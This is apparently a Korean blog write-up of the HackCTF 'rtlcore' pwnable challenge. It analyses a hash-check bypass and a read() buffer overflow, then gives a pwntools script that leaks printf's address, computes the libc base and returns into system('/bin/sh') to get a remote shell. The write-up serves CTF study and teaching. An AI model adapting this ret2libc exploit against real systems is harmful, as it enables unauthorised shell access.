check
- 32bit
- NX
- 라이브러리 파일이 문제파일과 함께 주어졌다.
Analyze
pseudo code
- main 함수 중 0x1c byte만큼 할당되어 있는 문자열 s에 gets함수를 통해 사용자로부터 입력받는다.
- 사용자로부터 입력받은 password를 check_passcode에 인자로 전달하고 리턴되는 값이 hashcode와 같으면 어떤 문자열을 출력하고 core()함수로 연결된다.
- main함수에서 매개변수 a1의 자리에 &s를 전달했다. 즉, 입력한 passcode의 주소를 전달한 것이다. for문에서는 passcode의 주소를 4씩 끊어 값을 참조하고 더하는 연산을 반복한다.
AAAABBBBCCCCDDDD를 passcode로 입력해봤다.
이런식으로 AAAA(0x41414141) + BBBB(0x42424242) + CCCC(0x43434343) + DDDD(0x44444444) 한 값을 리턴하게된다.
>> [+][+][+][+][][][][][][][][][][][][][][][][] 을 passcode로 입력한다했을 때 +가 들어간 처음 4byte의 값을 hashcode로 하고 나머지 값들은 NULL값(0x00)을 주면 된다.
- v5에는 로드된 동적 라이브러리에서 "printf" 키워드로 찾은 주소값이 저장된다.
- 0x3e byte 할당한 버퍼 buf에 read함수를 통해 0x64만큼 읽어들이면서 버퍼오버플로우가 발생한다.
>> printf의 값으로 libc leak을 할 수 있을 것이다.!
실행
core 함수 접근 확인
from pwn import *
#context.log_level = 'debug'
p = remote("ctf.j0n9hyun.xyz", 3015)
pl = p32(0xc0d9b0a7)
pl += p32(0x00)*4
p.sendline(pl)
p.interactive()
core 함수로 진입하게 되면서 printf의 동적 라이브러리에서의 주소를 준다. 이 때 주소값이 계속 바뀌는 것으로 보아 ASLR이 적용되어 있음을 알 수 있다.
Exploit
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
p = remote("ctf.j0n9hyun.xyz", 3015)
elf = ELF("./rtlcore")
libc = ELF("./libc.so.6")
system_off = libc.symbols['system']
binsh_off = libc.search("/bin/sh").next()
printf_off = libc.symbols['printf']
pl = p32(0xc0d9b0a7)
pl += p32(0x00)*4
p.sendlineafter(": ",pl)
p.recvuntil("바로 ")
printf = int(p.recv(10),16)
log.info("printf address: "+ hex(printf))
libcbase = printf - printf_off
system = libcbase + system_off
binsh = libcbase + binsh_off
pl = "A"*(0x3e + 4)
pl += p32(system)
pl += "BBBB"
pl += p32(binsh)
p.sendline(pl)
p.interactive()
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] Gift (0) | 2021.03.06 |
---|---|
[HackCTF] Look at me (재) (0) | 2021.03.03 |
[HackCTF] Random Key (0) | 2021.02.13 |
[HackCTF] 1996 (0) | 2021.02.13 |
[HackCTF] g++ pwn (0) | 2021.02.13 |